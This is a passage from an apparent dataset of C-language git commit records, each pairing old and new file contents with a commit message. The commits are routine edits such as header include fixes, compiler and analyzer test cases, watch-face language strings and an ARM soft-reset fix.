16\n","lang":"C","license":"mit","repos":"bewuethr\/stroustrup_ppp,bewuethr\/stroustrup_ppp"}
{"commit":"2b5a62f4d20141c1e94523a5727c5dea3b33f134","old_file":"simd\/nonnumber.h","new_file":"simd\/nonnumber.h","old_contents":"#if defined (__GNUC__) || defined (__INTEL_COMPILER) || defined (__clang__)\n#ifdef INFINITY\n#undef INFINITY\n#endif\n\n#ifdef NAN\n#undef NAN\n#endif\n\n#define NAN __builtin_nan(\"\")\n#define NANf __builtin_nanf(\"\")\n#define INFINITY __builtin_inf()\n#define INFINITYf __builtin_inff()\n#else\n\n#include <bits\/nan.h>\n#include <bits\/inf.h>\n\n#endif\n","new_contents":"#if defined (__GNUC__) || defined (__INTEL_COMPILER) || defined (__clang__)\n#ifdef INFINITY\n#undef INFINITY\n#endif\n\n#ifdef NAN\n#undef NAN\n#endif\n\n#define NAN __builtin_nan(\"\")\n#define NANf __builtin_nanf(\"\")\n#define INFINITY __builtin_inf()\n#define INFINITYf __builtin_inff()\n#else\n\n#include <math.h>\n\n#endif\n","subject":"Include math.h instead of bits headers.","message":"Include math.h instead of bits headers.\n","lang":"C","license":"mit","repos":"gwiazdorrr\/sleef,gwiazdorrr\/sleef"}
{"commit":"cc73100b98d4ac28318346e4a5d3e303ccadc05a","old_file":"include\/flatcc\/flatcc_portable.h","new_file":"include\/flatcc\/flatcc_portable.h","old_contents":"#ifndef FLATCC_PORTABLE_H\n#define FLATCC_PORTABLE_H\n#include \"flatcc\/portable\/portable.h\"\n#endif \/* FLATCC_PORTABLE_H *\/\n","new_contents":"#ifndef FLATCC_PORTABLE_H\n#define FLATCC_PORTABLE_H\n#include \"flatcc\/portable\/portable_basic.h\"\n#endif \/* FLATCC_PORTABLE_H *\/\n","subject":"Reduce chance of include guard conflicts","message":"Reduce chance of include guard conflicts\n","lang":"C","license":"apache-2.0","repos":"dvidelabs\/flatcc,dvidelabs\/flatcc,dvidelabs\/flatcc"}
{"commit":"da663dd03d71768b4b58c0ac2c1ec7b7513b3ef8","old_file":"test\/NotifierTest.h","new_file":"test\/NotifierTest.h","old_contents":"#pragma once\n#include <gtest\/gtest.h>\n#include <FileIO.h>\n#include <czmq.h>\n\nclass NotifierTest : public ::testing::Test {\npublic:\n\n   NotifierTest() {\n   };\n\n   ~NotifierTest() {\n   }\n\nprotected:\n\n   virtual void SetUp() {\n   };\n\n   virtual void TearDown() {\n      FileIO::RemoveFileAsRoot(notifierIPCPath);\n      FileIO::RemoveFileAsRoot(handshakeIPCPath);\n      zctx_interrupted = false;\n   };\n\nprivate:\n   const std::string notifierIPCPath = \"\/tmp\/RestartServicesQueue.ipc\";\n   const std::string handshakeIPCPath = \"\/tmp\/RestartServicesHandshakeQueue.ipc\";\n\n};","new_contents":"#pragma once\n#include <gtest\/gtest.h>\n#include <FileIO.h>\n#include <czmq.h>\n\nclass NotifierTest : public ::testing::Test {\npublic:\n\n   NotifierTest() {\n   };\n\n   ~NotifierTest() {\n   }\n\nprotected:\n\n   virtual void SetUp() {\n   };\n\n   virtual void TearDown() {\n      FileIO::RemoveFile(notifierIPCPath);\n      FileIO::RemoveFile(handshakeIPCPath);\n      zctx_interrupted = false;\n   };\n\nprivate:\n   const std::string notifierIPCPath = \"\/tmp\/RestartServicesQueue.ipc\";\n   const std::string handshakeIPCPath = \"\/tmp\/RestartServicesHandshakeQueue.ipc\";\n\n};\n","subject":"Change RemoveFileAsRoot to RemoveFile per change in FileIO.","message":"Change RemoveFileAsRoot to RemoveFile per change in FileIO.\n","lang":"C","license":"mit","repos":"LogRhythm\/QueueNado,LogRhythm\/QueueNado,weberr13\/QueueNado,weberr13\/QueueNado,john-gress\/QueueNado,john-gress\/QueueNado"}
{"commit":"dca2f8ee63c65cb27f791e5b2864d3f9e0adf3cb","old_file":"test\/Sema\/pr30372.c","new_file":"test\/Sema\/pr30372.c","old_contents":"","new_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang_cc1 %s -triple i386-pc-windows-msvc18.0.0 -disable-free -fms-volatile -fms-extensions -fms-compatibility -fms-compatibility-version=18 -std=c++11 -x c++\n\n\/\/ Check that the parser catching an 'error' from forward declaration of \"location\" does not lexer out it's subsequent declation.\n\nvoid foo() {\n  __asm {\n    jl         location\n location:\n    ret\n  }\n}\n","subject":"Introduce inline assembly parsing test is PR30372.","message":"Introduce inline assembly parsing test is PR30372.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@281753 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"7777019a00df754e5e61f8d26af86014a02f8f92","old_file":"src\/pbkdf\/pbkdf2\/pbkdf2.h","new_file":"src\/pbkdf\/pbkdf2\/pbkdf2.h","old_contents":"\/*\n* PBKDF2\n* (C) 1999-2007 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_PBKDF2_H__\n#define BOTAN_PBKDF2_H__\n\n#include <botan\/pbkdf.h>\n#include <botan\/mac.h>\n\nnamespace Botan {\n\n\/**\n* PKCS #5 PBKDF2\n*\/\nclass BOTAN_DLL PKCS5_PBKDF2 : public PBKDF\n   {\n   public:\n      std::string name() const\n         {\n         return \"PBKDF2(\" + mac->name() + \")\";\n         }\n\n      PBKDF* clone() const\n         {\n         return new PKCS5_PBKDF2(mac->clone());\n         }\n\n      OctetString derive_key(u32bit output_len,\n                             const std::string& passphrase,\n                             const byte salt[], u32bit salt_len,\n                             u32bit iterations) const;\n\n      \/**\n      * Create a PKCS #5 instance using the specified message auth code\n      * @param mac the MAC to use\n      *\/\n      PKCS5_PBKDF2(MessageAuthenticationCode* m) : mac(m) {}\n\n      \/**\n      * Destructor\n      *\/\n      ~PKCS5_PBKDF2() { delete mac; }\n   private:\n      MessageAuthenticationCode* mac;\n   };\n\n}\n\n#endif\n","new_contents":"\/*\n* PBKDF2\n* (C) 1999-2007 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_PBKDF2_H__\n#define BOTAN_PBKDF2_H__\n\n#include <botan\/pbkdf.h>\n#include <botan\/mac.h>\n\nnamespace Botan {\n\n\/**\n* PKCS #5 PBKDF2\n*\/\nclass BOTAN_DLL PKCS5_PBKDF2 : public PBKDF\n   {\n   public:\n      std::string name() const\n         {\n         return \"PBKDF2(\" + mac->name() + \")\";\n         }\n\n      PBKDF* clone() const\n         {\n         return new PKCS5_PBKDF2(mac->clone());\n         }\n\n      OctetString derive_key(u32bit output_len,\n                             const std::string& passphrase,\n                             const byte salt[], u32bit salt_len,\n                             u32bit iterations) const;\n\n      \/**\n      * Create a PKCS #5 instance using the specified message auth code\n      * @param mac_fn the MAC to use\n      *\/\n      PKCS5_PBKDF2(MessageAuthenticationCode* mac_fn) : mac(mac_fn) {}\n\n      \/**\n      * Destructor\n      *\/\n      ~PKCS5_PBKDF2() { delete mac; }\n   private:\n      MessageAuthenticationCode* mac;\n   };\n\n}\n\n#endif\n","subject":"Fix Doxygen comment in PBKDF2 constructor","message":"Fix Doxygen comment in PBKDF2 constructor\n","lang":"C","license":"bsd-2-clause","repos":"Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,randombit\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan"}
{"commit":"6c91c7386f846f420cc3130af08d7c07fb1ec637","old_file":"src\/lang-dutch.c","new_file":"src\/lang-dutch.c","old_contents":"#include \"num2words.h\"\n\n\/\/ Language strings for Dutch\nconst Language LANG_DUTCH = {\n\t.hours = {\n\t\t\"een\",\n\t\t\"twee\",\n\t\t\"drie\",\n\t\t\"vier\",\n\t\t\"vijf\",\n\t\t\"zes\",\n\t\t\"zeven\",\n\t\t\"acht\",\n\t\t\"negen\",\n\t\t\"tien\",\n\t\t\"elf\",\n\t\t\"twaalf\"\n\t},\n\n\t.phrases = {\n\t\t\"*$1 uur \",\n\t\t\"vijf over *$1 \",\n\t\t\"tien over *$1 \",\n\t\t\"kwart over *$1 \",\n\t\t\"tien voor half *$2 \",\n\t\t\"vijf voor half *$2 \",\n\t\t\"half *$2 \",\n\t\t\"vijf over half *$2 \",\n\t\t\"tien over half *$2 \",\n\t\t\"kwart voor *$2 \",\n\t\t\"tien voor *$2 \",\n\t\t\"vijf voor *$2 \"\n\t},\n\n\t.greetings = {\n\t\t\"Goede- morgen \",\n\t\t\"Goede- dag \",\n\t\t\"Goede- avond \",\n\t\t\"Goede- nacht \"\n\t},\n\n\t.connection_lost = \"Waar is je telefoon\"\n};\n","new_contents":"#include \"num2words.h\"\n\n\/\/ Language strings for Dutch\nconst Language LANG_DUTCH = {\n\t.hours = {\n\t\t\"een\",\n\t\t\"twee\",\n\t\t\"drie\",\n\t\t\"vier\",\n\t\t\"vijf\",\n\t\t\"zes\",\n\t\t\"zeven\",\n\t\t\"acht\",\n\t\t\"negen\",\n\t\t\"tien\",\n\t\t\"elf\",\n\t\t\"twaalf\"\n\t},\n\n\t.phrases = {\n\t\t\"*$1 uur \",\n\t\t\"vijf over *$1 \",\n\t\t\"tien over *$1 \",\n\t\t\"kwart over *$1 \",\n\t\t\"tien voor half *$2 \",\n\t\t\"vijf voor half *$2 \",\n\t\t\"half *$2 \",\n\t\t\"vijf over half *$2 \",\n\t\t\"tien over half *$2 \",\n\t\t\"kwart voor *$2 \",\n\t\t\"tien voor *$2 \",\n\t\t\"vijf voor *$2 \"\n\t},\n\n\t.greetings = {\n\t\t\"Goede- morgen \",\n\t\t\"Goede- dag \",\n\t\t\"Goede- avond \",\n\t\t\"Goede- nacht \"\n\t},\n\n\t.connection_lost = \"Waar is je tele- foon \"\n};\n","subject":"Adjust dutch connection lost message.","message":"Adjust dutch connection lost message.\n","lang":"C","license":"mit","repos":"Sarastro72\/Fuzzy-Text-Watch-Plus,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Fuzzy-Text-Watch-Plus,Sarastro72\/Fuzzy-Text-Watch-Plus,Sarastro72\/Swedish-Fuzzy-Text-watch,Sarastro72\/Fuzzy-Text-Watch-Plus"}
{"commit":"559c89fcbf5560c5d72ef1824abe1322bf894dc8","old_file":"StarFlight\/Classes\/SCStarFlightPushClient.h","new_file":"StarFlight\/Classes\/SCStarFlightPushClient.h","old_contents":"\/\/\n\/\/  StarFlightPushClient.h\n\/\/\n\/\/  Created by Starcut Software on 4\/30\/13.\n\/\/  Copyright (c) Starcut. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\nextern NSString *const SCStarFlightClientUUIDNotification;\n\n@interface SCStarFlightPushClient : NSObject <NSURLConnectionDelegate>\n\n- (instancetype)initWithAppID:(NSString *)appID clientSecret:(NSString *)clientSecret;\n\n- (void)registerWithToken:(NSString *)token;\n- (void)registerWithToken:(NSString *)token clientUUID:(NSString *)clientUUID tags:(NSArray<NSString *> *)tags timePreferences:(NSDictionary *)timePreferencesDict;\n- (void)registerWithToken:(NSString *)token tags:(NSArray<NSString *> *)tags;\n- (void)unregisterWithToken:(NSString *)token tags:(nullable NSArray<NSString *> *)tags;\n- (void)openedMessageWithUUID:(NSString *)messageUUID deviceToken:(NSString *)deviceToken;\n\nNS_ASSUME_NONNULL_END\n\n@end\n","new_contents":"\/\/\n\/\/  StarFlightPushClient.h\n\/\/\n\/\/  Created by Starcut Software on 4\/30\/13.\n\/\/  Copyright (c) Starcut. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\nextern NSString *const SCStarFlightClientUUIDNotification;\n\n@interface SCStarFlightPushClient : NSObject <NSURLConnectionDelegate>\n\n- (instancetype)initWithAppID:(NSString *)appID clientSecret:(NSString *)clientSecret;\n\n- (void)registerWithToken:(NSString *)token;\n- (void)registerWithToken:(NSString *)token clientUUID:(nullable NSString *)clientUUID tags:(nullable NSArray<NSString *> *)tags timePreferences:(nullable NSDictionary *)timePreferencesDict;\n- (void)registerWithToken:(NSString *)token tags:(NSArray<NSString *> *)tags;\n- (void)unregisterWithToken:(NSString *)token tags:(nullable NSArray<NSString *> *)tags;\n- (void)openedMessageWithUUID:(NSString *)messageUUID deviceToken:(NSString *)deviceToken;\n\nNS_ASSUME_NONNULL_END\n\n@end\n","subject":"Allow optional(nullable) parameters to register starflight-client","message":"Allow optional(nullable) parameters to register starflight-client\n","lang":"C","license":"mit","repos":"StarcutFinland\/StarFlight"}
{"commit":"01a9aca10d7b2995eae06645ccef2a8487a06137","old_file":"src\/age\/entity\/TransformComponent.h","new_file":"src\/age\/entity\/TransformComponent.h","old_contents":"#pragma once\n\n#include <age\/core\/MetaEnum.h>\n#include <age\/entity\/Component.h>\n#include <age\/entity\/Export.h>\n#include <age\/math\/Vector.h>\n\nnamespace age\n{\n\tnamespace entity\n\t{\n\t\t\/\/\/\n\t\t\/\/\/\t\\struct TransformComponent\n\t\t\/\/\/\n\t\t\/\/\/\t\\brief This component is given to entities that hold a position within the scene.\n\t\t\/\/\/\n\t\t\/\/\/\t\\date June 11, 2017\n\t\t\/\/\/\n\t\t\/\/\/\t\\author Aaron Shelley\n\t\t\/\/\/\n\t\tstruct AGE_ENTITY_EXPORT TransformComponent : public Component\n\t\t{\n\t\t\tTransformComponent();\n\n\t\t\tage::math::Vector Position{};\n\t\t\tdouble Rotation{};\n\t\t};\n\t}\n}\n","new_contents":"#pragma once\n\n#include <age\/entity\/Component.h>\n#include <age\/entity\/Export.h>\n#include <age\/math\/Vector.h>\n\nnamespace age\n{\n\tnamespace entity\n\t{\n\t\t\/\/\/\n\t\t\/\/\/\t\\struct TransformComponent\n\t\t\/\/\/\n\t\t\/\/\/\t\\brief This component is given to entities that hold a position within the scene.\n\t\t\/\/\/\n\t\t\/\/\/\t\\date June 11, 2017\n\t\t\/\/\/\n\t\t\/\/\/\t\\author Aaron Shelley\n\t\t\/\/\/\n\t\tstruct AGE_ENTITY_EXPORT TransformComponent : public Component\n\t\t{\n\t\t\tTransformComponent();\n\n\t\t\tage::math::Vector Position{};\n\t\t\tdouble Rotation{};\n\t\t};\n\t}\n}\n","subject":"Fix compilation error due to Meta Enum header that no longer exists.","message":"Fix compilation error due to Meta Enum header that no longer exists.\n","lang":"C","license":"mit","repos":"ASxa86\/AGE,ASxa86\/AGE"}
{"commit":"640870ac5e84285e438f2c5f9c8a2c30e8e80303","old_file":"src\/stdio\/_read.c","new_file":"src\/stdio\/_read.c","old_contents":"","new_contents":"#include \"FILE.h\"\n\nextern _Thread_local int errno;\n\nptrdiff_t __read(int, void*, size_t);\n\nsize_t __stdio_read(void* restrict buffer, size_t size, FILE stream[restrict static 1])\n{\n    ptrdiff_t count = __read(stream->fd, buffer, size);\n\n    if (count < 0) {\n        stream->state |= _errbit;\n        errno = -count;\n        return 0;\n    }\n\n    stream->state |= (count < size) * _eofbit;\n    return count;\n}\n","subject":"Make `read` wrapper for stdio.h","message":"Make `read` wrapper for stdio.h\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"6a32e5daf12ec452f00dcb2c93ef3ea4b5bd99f2","old_file":"src\/types.h","new_file":"src\/types.h","old_contents":"#ifndef TYPES_H\n#define TYPES_H\n\nstruct elf_header\n{\n    \n};\n\n#endif\n","new_contents":"#ifndef TYPES_H\n#define TYPES_H\n\n#define     unsigned char       ubyte_t\n#define     unsigned int        uint_t\n#define     unsigned short int  uword_t\n\n#define     ELF_FORM    1\n#define     ELF_32      0\n#define     ELF_64      1\n#define     ELF_ORG     1\n#define     END_BIG     0\n#define     END_LTL     1\n\n\nstruct elf_header\n{\n    ubyte_t elf_format       : 1;\n    ubyte_t elf_format_bit   : 1;\n    ubyte_t elf_endianess    : 1;\n    ubyte_t elf_version      : 1;\n    ubyte_t elf_os           : 5;\n    ubyte_t elf_abi             ;\n    ubyte_t elf_pad             ;\n    ubyte_t elf_type         : 2;\n    ubyte_t elf_arch            ;\n    ubyte_t elf_ver          : 1;\n    uint_t *elf_entry           ;\n    uint_t *elf_hdr_off         ;\n    uint_t *elf_sct_off         ;\n    uint_t elf_flags            ;\n    uword_t elf_hdr_size        ;\n    uword_t elf_hdrt_entry_size ;\n    uword_t elf_hdrt_entries    ;\n    uword_t elf_sct_entry_size  ;\n    uword_t elf_sct_entries     ;\n    uword_t elf_sct_index       ;\n};\n\ntypedef struct elf_header elf_hdr;\n\n#endif\n","subject":"Add first version of elf header struct","message":"Add first version of elf header struct\n","lang":"C","license":"mit","repos":"Raiona-IT\/ELFReader"}
{"commit":"5e00c825d43914ce6ae0d859f72ffbef07794a6c","old_file":"tests\/regression\/02-base\/66-no-eval-on-write-multi.c","new_file":"tests\/regression\/02-base\/66-no-eval-on-write-multi.c","old_contents":"\/\/PARAM: --enable ana.int.interval --enable ana.int.enums --exp.privatization \"write\" -v\n\n#include<pthread.h>\n\n\/\/ Test case that shows how avoiding reading integral globals can reduce the number of solver evaluations.\n\/\/ Avoiding to evaluate integral globals when setting them reduced the number of necessary evaluations from 62 to 21 in this test case.\n\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\nint glob = 10;\n\nvoid* t_fun(void* ptr) {\n  pthread_mutex_lock(&mutex);\n  glob = 3;\n  glob = 4;\n  glob = 1;\n  pthread_mutex_unlock(&mutex);\n  return NULL;\n}\n\nvoid bar() {\n  glob = 2;\n}\n\nint main() {\n  pthread_t t;\n\n  pthread_create(&t, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex);\n  bar();\n  pthread_mutex_unlock(&mutex);\n  pthread_join(t, NULL);\n  assert(glob >= 1);\n  assert(glob <= 2); \/\/UNKNOWN\n  assert(glob <= 10);\n  return 0;\n}\n","new_contents":"\/\/PARAM: --enable ana.int.interval --enable ana.int.enums --exp.privatization \"write\" -v\n\n#include<pthread.h>\n\n\/\/ Test case that shows how avoiding reading integral globals can reduce the number of solver evaluations.\n\/\/ Avoiding to evaluate integral globals when setting them reduced the number of necessary evaluations from 62 to 20 in this test case.\n\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\nint glob = 10;\n\nvoid* t_fun(void* ptr) {\n  pthread_mutex_lock(&mutex);\n  glob = 3;\n  glob = 4;\n  glob = 1;\n  pthread_mutex_unlock(&mutex);\n  return NULL;\n}\n\nvoid bar() {\n  glob = 2;\n}\n\nint main() {\n  pthread_t t;\n\n  pthread_create(&t, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex);\n  bar();\n  pthread_mutex_unlock(&mutex);\n  pthread_join(t, NULL);\n  assert(glob >= 1);\n  assert(glob <= 10);\n  return 0;\n}\n","subject":"Remove confusing assert from test case","message":"Remove confusing assert from test case\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"790173fc23a95d2fad35adb32a1906cf8af047ad","old_file":"tests\/test_float_macros.c","new_file":"tests\/test_float_macros.c","old_contents":"\/*\n * Copyright 2019 Arnaud Gelas <arnaud.gelas@sensefly.com>\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/* Use the unit test allocators *\/\n#define UNIT_TESTING 1\n\n#include <stdarg.h>\n#include <stddef.h>\n#include <setjmp.h>\n#include <cmocka.h>\n\n\/* A test case that does check if float is equal. *\/\nstatic void float_test_success(void **state) {\n    assert_float_equal(0.5f, 1.f \/ 2.f, 0.000001f);\n    assert_float_not_equal(0.5, 0.499f, 0.000001f);\n}\n\nint main(void) {\n    const struct CMUnitTest tests[] = {\n        cmocka_unit_test(float_test_success),\n    };\n\n    return cmocka_run_group_tests(tests, NULL, NULL);\n}\n","new_contents":"\/*\n * Copyright 2019 Arnaud Gelas <arnaud.gelas@sensefly.com>\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/* Use the unit test allocators *\/\n#define UNIT_TESTING 1\n\n#include <stdarg.h>\n#include <stddef.h>\n#include <setjmp.h>\n#include <cmocka.h>\n\n\/* A test case that does check if float is equal. *\/\nstatic void float_test_success(void **state)\n{\n    (void)state; \/* unused *\/\n\n    assert_float_equal(0.5f, 1.f \/ 2.f, 0.000001f);\n    assert_float_not_equal(0.5, 0.499f, 0.000001f);\n}\n\nint main(void) {\n    const struct CMUnitTest tests[] = {\n        cmocka_unit_test(float_test_success),\n    };\n\n    return cmocka_run_group_tests(tests, NULL, NULL);\n}\n","subject":"Mark state unused in float test","message":"tests: Mark state unused in float test\n\nSigned-off-by: Andreas Schneider <5be00ddc76278cf6077f5047ca3384a88460c671@cryptomilk.org>\n","lang":"C","license":"apache-2.0","repos":"clibs\/cmocka,clibs\/cmocka"}
{"commit":"445f12dca8f06113caa775315bff574dee72b27d","old_file":"arch\/arm\/mach-orion5x\/include\/mach\/system.h","new_file":"arch\/arm\/mach-orion5x\/include\/mach\/system.h","old_contents":"\/*\n * arch\/arm\/mach-orion5x\/include\/mach\/system.h\n *\n * Tzachi Perelstein <tzachi@marvell.com>\n *\n * This file is licensed under the terms of the GNU General Public\n * License version 2.  This program is licensed \"as is\" without any\n * warranty of any kind, whether express or implied.\n *\/\n\n#ifndef __ASM_ARCH_SYSTEM_H\n#define __ASM_ARCH_SYSTEM_H\n\n#include <mach\/bridge-regs.h>\n\nstatic inline void arch_idle(void)\n{\n\tcpu_do_idle();\n}\n\nstatic inline void arch_reset(char mode, const char *cmd)\n{\n\t\/*\n\t * Enable and issue soft reset\n\t *\/\n\torion5x_setbits(RSTOUTn_MASK, (1 << 2));\n\torion5x_setbits(CPU_SOFT_RESET, 1);\n}\n\n\n#endif\n","new_contents":"\/*\n * arch\/arm\/mach-orion5x\/include\/mach\/system.h\n *\n * Tzachi Perelstein <tzachi@marvell.com>\n *\n * This file is licensed under the terms of the GNU General Public\n * License version 2.  This program is licensed \"as is\" without any\n * warranty of any kind, whether express or implied.\n *\/\n\n#ifndef __ASM_ARCH_SYSTEM_H\n#define __ASM_ARCH_SYSTEM_H\n\n#include <mach\/bridge-regs.h>\n\nstatic inline void arch_idle(void)\n{\n\tcpu_do_idle();\n}\n\nstatic inline void arch_reset(char mode, const char *cmd)\n{\n\t\/*\n\t * Enable and issue soft reset\n\t *\/\n\torion5x_setbits(RSTOUTn_MASK, (1 << 2));\n\torion5x_setbits(CPU_SOFT_RESET, 1);\n\tmdelay(200);\n\torion5x_clrbits(CPU_SOFT_RESET, 1);\n}\n\n\n#endif\n","subject":"Fix soft-reset for some platforms","message":"[ARM] orion5x: Fix soft-reset for some platforms\n\nSome platforms, such as the DNS-323 rev C requires the soft reset line\nto be toggled on and back off for the reset to work.\n\nNote: The choice of 200ms delay comes from the 2.6.12 based vendor kernel.\nIt seems to be a -lot- though and I had my device working fine with much\nsmaller delays but better safe...\n\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\nSigned-off-by: Nicolas Pitre <d659c10e27d52b00987b65e85d99bce5480adcae@fluxnic.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"f258b02abed915e2fadb2af2a4341486e403d104","old_file":"test\/FrontendC\/2004-02-13-Memset.c","new_file":"test\/FrontendC\/2004-02-13-Memset.c","old_contents":"\/\/ RUN: %llvmgcc -xc %s -c -o - | llvm-dis | grep llvm.memset | count 3\n\nvoid *memset(void*, int, long);\nvoid bzero(void*, int);\n\nvoid test(int* X, char *Y) {\n  memset(X, 4, 1000);\n  bzero(Y, 100);\n}\n","new_contents":"\/\/ RUN: %llvmgcc -xc %s -c -o - | llvm-dis | grep llvm.memset | count 3\n\nvoid *memset(void*, int, long);\nvoid bzero(void*, long);\n\nvoid test(int* X, char *Y) {\n  memset(X, 4, 1000);\n  bzero(Y, 100);\n}\n","subject":"Make the declaration of bzero match size_t on x86-64-linux.","message":"Make the declaration of bzero match size_t on\nx86-64-linux.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@58383 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"413c572d3b732bf8f79772530dc21883958a3f5f","old_file":"test\/Analysis\/crash-trace.c","new_file":"test\/Analysis\/crash-trace.c","old_contents":"","new_contents":"\/\/ RUN: not --crash %clang --analyze -Xanalyzer -analyzer-checker=debug.ExprInspection %s 2>&1 | FileCheck %s\n\nvoid clang_analyzer_crash(void);\n\nvoid inlined() {\n  clang_analyzer_crash();\n}\n\nvoid test() {\n  inlined();\n}\n\n\/\/ CHECK: 0.\tProgram arguments: {{.*}}clang\n\/\/ CHECK-NEXT: 1.\t<eof> parser at end of file\n\/\/ CHECK-NEXT: 2. While analyzing stack: \n\/\/ CHECK-NEXT:  #0 void inlined()\n\/\/ CHECK-NEXT:  #1 void test()\n\/\/ CHECK-NEXT: 3.\t{{.*}}crash-trace.c:6:3: Error evaluating statement\n","subject":"Add test for crash tracing (r186639)","message":"[analyzer] Add test for crash tracing (r186639)\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@186926 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"6b6a544be44a930942bfce48211329bdca6cd5cf","old_file":"hab\/arduino\/usage.c","new_file":"hab\/arduino\/usage.c","old_contents":"#include \"sim-hab.h\"\n\n\n\/\/\n\/\/ display usage\n\/\/\nvoid usage(void)\n{\n    fprintf(stderr, \n            \"\\nsim-hab must be ran with two options. -p and -a both followed\\n\"\n            \"by a file location. To determine the file locations run the\\n\"\n            \"findPort program.\\n\"\n            \"\\n\"\n            \"usage: sim-hab [OPTIONS]\\n\"\n            \" -?, --help             Show this information.\\n\"\n            \" -v, --version          Show the version number.\\n\"\n            \" -i, --id <ID>          Use ID as the HAB-ID (defaults to\\n\"\n            \"                        hostname if omitted).\\n\"\n            \" -p --proxr <FILE>      Give the ProXR file location to open.\\n\"\n            \" -a --arduino <FILE>    Give the Arduino file location to open.\\n\"\n            );\n}\n","new_contents":"#include \"sim-hab.h\"\n\n\n\/\/\n\/\/ display usage\n\/\/\nvoid usage(void)\n{\n    fprintf(stderr, \n            \"\\ncgba-sim-arduino-hab must be ran with one option. -a 